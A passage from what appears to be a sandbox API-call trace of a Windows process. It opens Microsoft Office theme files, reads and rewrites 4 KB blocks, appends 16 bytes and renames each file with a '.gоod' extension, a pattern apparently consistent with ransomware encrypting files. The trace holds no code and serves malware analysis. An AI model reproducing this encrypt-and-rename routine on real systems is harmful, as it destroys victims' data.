dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.071] GetFileType (hFile=0x63c) returned 0x1 [0133.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0133.072] GetFileType (hFile=0x63c) returned 0x1 [0133.072] WriteFile (in: hFile=0x63c, lpBuffer=0x3632768*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x3632768*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0133.072] CloseHandle (hObject=0x63c) returned 1 [0133.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx", lpFilePart=0x0) returned 0x47 [0133.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.gоod", lpFilePart=0x0) returned 0x4c [0133.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0133.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4b88b313, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3495bc)) returned 1 [0133.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0133.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx.gоod")) returned 1 [0133.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", lpFilePart=0x0) returned 0x4c [0133.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0133.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), fInfoLevelId=0x0, lpFileInformation=0x369fb08 | out: lpFileInformation=0x369fb08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11161e0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11161e0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1855eb)) returned 1 [0133.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0134.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", lpFilePart=0x0) returned 0x4c [0134.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0134.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.353] GetFileType (hFile=0x618) returned 0x1 [0134.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0134.353] GetFileType (hFile=0x618) returned 0x1 [0134.353] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0134.353] ReadFile (in: hFile=0x618, lpBuffer=0x384a070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x384a070*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0134.355] CloseHandle (hObject=0x618) returned 1 [0134.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", lpFilePart=0x0) returned 0x4c [0134.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0134.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.355] GetFileType (hFile=0x618) returned 0x1 [0134.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0134.355] GetFileType (hFile=0x618) returned 0x1 [0134.355] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1855eb [0134.355] WriteFile (in: hFile=0x618, lpBuffer=0x384b5e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x384b5e0*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0134.357] CloseHandle (hObject=0x618) returned 1 [0134.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", lpFilePart=0x0) returned 0x4c [0134.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0134.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.357] GetFileType (hFile=0x618) returned 0x1 [0134.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0134.357] GetFileType (hFile=0x618) returned 0x1 [0134.357] ReadFile (in: hFile=0x618, lpBuffer=0x384dde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x384dde8*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0134.387] CloseHandle (hObject=0x618) returned 1 [0134.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", lpFilePart=0x0) returned 0x4c [0134.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0134.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.387] GetFileType (hFile=0x618) returned 0x1 [0134.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0134.387] GetFileType (hFile=0x618) returned 0x1 [0134.387] WriteFile (in: hFile=0x618, lpBuffer=0x384cb28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x384cb28*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0134.387] CloseHandle (hObject=0x618) returned 1 [0134.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx", lpFilePart=0x0) returned 0x4c [0134.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.gоod", lpFilePart=0x0) returned 0x51 [0134.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0134.387] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11161e0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11161e0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c511d2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1855fb)) returned 1 [0134.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0134.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx.gоod")) returned 1 [0134.388] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", lpFilePart=0x0) returned 0x42 [0134.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0134.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), fInfoLevelId=0x0, lpFileInformation=0x38cb268 | out: lpFileInformation=0x38cb268*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111ae2aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c09db)) returned 1 [0134.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0134.388] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", lpFilePart=0x0) returned 0x42 [0134.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0134.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.389] GetFileType (hFile=0x618) returned 0x1 [0134.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0134.389] GetFileType (hFile=0x618) returned 0x1 [0134.389] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0134.389] ReadFile (in: hFile=0x618, lpBuffer=0x38cb660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x38cb660*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0134.473] CloseHandle (hObject=0x618) returned 1 [0135.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", lpFilePart=0x0) returned 0x42 [0135.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.056] GetFileType (hFile=0x61c) returned 0x1 [0135.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.056] GetFileType (hFile=0x61c) returned 0x1 [0135.056] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1c09db [0135.057] WriteFile (in: hFile=0x61c, lpBuffer=0x39dcd48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x39dcd48*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0135.058] CloseHandle (hObject=0x61c) returned 1 [0135.058] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", lpFilePart=0x0) returned 0x42 [0135.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.059] GetFileType (hFile=0x61c) returned 0x1 [0135.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.059] GetFileType (hFile=0x61c) returned 0x1 [0135.059] ReadFile (in: hFile=0x61c, lpBuffer=0x39deff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x39deff8*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0135.193] CloseHandle (hObject=0x61c) returned 1 [0135.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", lpFilePart=0x0) returned 0x42 [0135.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.194] GetFileType (hFile=0x61c) returned 0x1 [0135.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.194] GetFileType (hFile=0x61c) returned 0x1 [0135.194] WriteFile (in: hFile=0x61c, lpBuffer=0x39ddd60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x39ddd60*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0135.194] CloseHandle (hObject=0x61c) returned 1 [0135.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx", lpFilePart=0x0) returned 0x42 [0135.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.gоod", lpFilePart=0x0) returned 0x47 [0135.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0135.194] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4ccab7eb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c09eb)) returned 1 [0135.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0135.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx.gоod")) returned 1 [0135.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", lpFilePart=0x0) returned 0x4b [0135.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0135.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), fInfoLevelId=0x0, lpFileInformation=0x3a5b420 | out: lpFileInformation=0x3a5b420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111fa76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b)) returned 1 [0135.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0135.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", lpFilePart=0x0) returned 0x4b [0135.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.196] GetFileType (hFile=0x61c) returned 0x1 [0135.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.196] GetFileType (hFile=0x61c) returned 0x1 [0135.196] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0135.196] ReadFile (in: hFile=0x61c, lpBuffer=0x3a5b858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x3a5b858*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0135.198] CloseHandle (hObject=0x61c) returned 1 [0135.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", lpFilePart=0x0) returned 0x4b [0135.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.198] GetFileType (hFile=0x61c) returned 0x1 [0135.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.198] GetFileType (hFile=0x61c) returned 0x1 [0135.198] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x4f98b [0135.199] WriteFile (in: hFile=0x61c, lpBuffer=0x3a5cb70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x3a5cb70*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0135.200] CloseHandle (hObject=0x61c) returned 1 [0135.200] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", lpFilePart=0x0) returned 0x4b [0135.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.201] GetFileType (hFile=0x61c) returned 0x1 [0135.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.201] GetFileType (hFile=0x61c) returned 0x1 [0135.201] ReadFile (in: hFile=0x61c, lpBuffer=0x3a5ee90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x3a5ee90*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0135.716] CloseHandle (hObject=0x61c) returned 1 [0135.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", lpFilePart=0x0) returned 0x4b [0135.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.716] GetFileType (hFile=0x61c) returned 0x1 [0135.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.716] GetFileType (hFile=0x61c) returned 0x1 [0135.716] WriteFile (in: hFile=0x61c, lpBuffer=0x3746e98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x3746e98*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0135.717] CloseHandle (hObject=0x61c) returned 1 [0135.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx", lpFilePart=0x0) returned 0x4b [0135.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx.gоod", lpFilePart=0x0) returned 0x50 [0135.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0135.717] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4d1bc58d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f99b)) returned 1 